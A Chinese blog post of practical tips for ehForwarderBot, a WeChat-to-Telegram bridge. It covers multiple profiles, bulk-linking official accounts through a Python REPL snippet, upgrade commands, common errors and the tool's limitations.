[](#半个重点-在一台小鸡上运行多个-efb "半个重点 在一台小鸡上运行多个 efb")半个重点 在一台小鸡上运行多个 efb

  • 关键在于 配置文件的路径 默认的路径为 /root/.ehforwarderbot/profiles/default/ 那么 你想要运行第二个 efb 就需要把之前的这个 配置文件改为专属名称 /root/.ehforwarderbot/profiles/专属名称/ 这样就可以开无限个 efb (前提是小鸡其实是老母鸡
  • 运行的时候 在代码 ehforwardbot 后 加上 专属名称 比如 ehforwardbot -p 专属名称 进程守护也是一样的修改方式

[](#半个重点-公众号绑定-批量绑定 "半个重点 公众号绑定 批量绑定")半个重点 公众号绑定 批量绑定

因为默认为 bot 转发所有的信息 群组绑定了 私聊也绑定了 这个时候你就会发现

无止境的 订阅号/公众号 无时不刻的不停的给你发消息 (烦死了!!!! 一个个手动静音?(累死了!!!

那么就需要批量绑定 具体操作如下 官方批量绑定公众号

  • 首先创建一个群组 然后把 bot 添加到当前群组 并给予管理员权限 发送 /info 来获取群组 id
  • 以 REPL 模式启动 EFB

    python3 -i -m ehforwarderbot [-p PROFILE_NAME 如果你不是一台小鸡运行多个 这里可以不填 多个请修改PROFILE_NAME为配置名称]
    示例为
    python3 -i -m ehforwarderbot 
    或
    python3 -i -m ehforwarderbot -p 配置文件名称
  • 操作 REPL 进行批量绑定 一行输一个 终端每行前会显示 >>> #为注释 不需要输入 (粘贴

    from ehforwarderbot import coordinator
    from efb_telegram_master import utils
    # 获取 ETM, EWS 运行实例
    etm = coordinator.master
    ews = coordinator.slaves['blueset.wechat']  
    # 如有运行多个实例,需追加实例 ID
    # 获取会话列表
    chats = ews.get_chats()
    # 提取出所有需要批量绑定的会话,例如这里要提取所有公众号
    # 具体可使用的参数请参考 EFB 和 EWS 的说明文档
    to_link = [i.uid for i in chats if i.vendor_specific.get('is_mp', False)]
    # 绑定到指定会话
    tg_grp_id = -3324225
    #这里id后边更改为 你刚才创建的群组id
    for i in to_link:
         etm.db.add_chat_assoc(master_uid=utils.chat_id_to_str(etm.channel_id, tg_grp_id),
                               slave_uid=utils.chat_id_to_str(ews.channel_id, i),
                              multiple_slave=True)
    # 退出 EFB 实例并以一般方式重新启动
    #ctrl+d 来退出

[](#升级相关 "升级相关")升级相关

升级代码

pip3 install --upgrade ehforwarderbot
pip3 install --upgrade efb-telegram-master 
pip3 install --upgrade efb-wechat-slave

[](#常见报错 "常见报错")常见报错

  • File "/user/lib/python3.7/site-packeges/itchat/components/hotreload.py"
         self.loginInfo['User'] = templates.User(self.loginInfo['User'])

请你去检查 [第一步](https://blog.shzxm.com/2020/12/31/efb/#%E7%AC%AC%E4%B8%80%E8%A6%81%E7%82%B9)!!!! 如果没问题 那么可能是因为服务器和你当前使用的环境不一致 导致了微信风控 那么你可以挂个全局代理 使用一会微信 就可以解决这个问题

+   更多常见报错请查看 [官方 issue](https://github.com/ehForwarderBot/efb-wechat-slave/issues/55) [官方 wiki](https://github.com/ehForwarderBot/efb-wechat-slave/wiki/EFB%E2%80%86%E6%A1%86%E6%9E%B6%E5%8F%8A%E5%90%84%E7%BB%84%E4%BB%B6%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)

### [](#备份 "备份")备份

先来说说为什么要备份 还是迁移的问题 但是也有可能会出现 迁移过程中 群聊名称变更 导致 绑定错误的问题

可以作为备份手段 但是不能100%保证 [备份文档](https://github.com/ehForwarderBot/efb-wechat-slave/wiki/EFB%E2%80%86%E6%A1%86%E6%9E%B6%E5%8F%8A%E5%90%84%E7%BB%84%E4%BB%B6%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98#q-%E5%A6%82%E4%BD%95%E5%A4%87%E4%BB%BD%E5%BE%AE%E4%BF%A1%E4%BB%8E%E7%AB%AF%E7%9A%84%E6%95%B0%E6%8D%AE)

## [](#efb-讨论相关 "efb 讨论相关")efb 讨论相关

[Github Discussions (论坛/社区)](https://github.com/ehForwarderBot/ehForwarderBot/discussions) *主要* 讨论社区

[Telegram 频道](https://t.me/EFBSupport)群组入口请从此处进入

## [](#赞助-支持-EFB "赞助/支持 EFB")[赞助/支持 EFB](https://github.com/blueset/.github)

## [](#缺点 "缺点")缺点

+   efb 的服务 是基于 网页版微信 所以目前很多功能做的不如 客户端版的微信 这是因为 网页版微信 压根没有提高那么多的 api 除非哪天真的出现 `linux 版微信`
    
+   仅支持微信网页版所支持的功能以及消息类型,即
    +   没有朋友圈
    +   没有红包
    +   不能发语音
    +   不能发位置
    +   ……等等诸如此类
+   部分`文件`、`图片`、`表情`等多媒体文件会被网页版微信截断,即收不到任何数据, 尤以`表情`为甚。因此造成的偶发现象,会提醒用户使用移动客户端查看。
    
+   使用 efb 的同时 不能使用 `客户端微信` / `ipad 微信` / `网页版微信`
    

+   **本文作者:**shzxm
+   **本文链接:**[https://blog.shzxm.com/2020/12/31/efb/](https://blog.shzxm.com/2020/12/31/efb/ "ehForwarderBot 遇到的那些坑")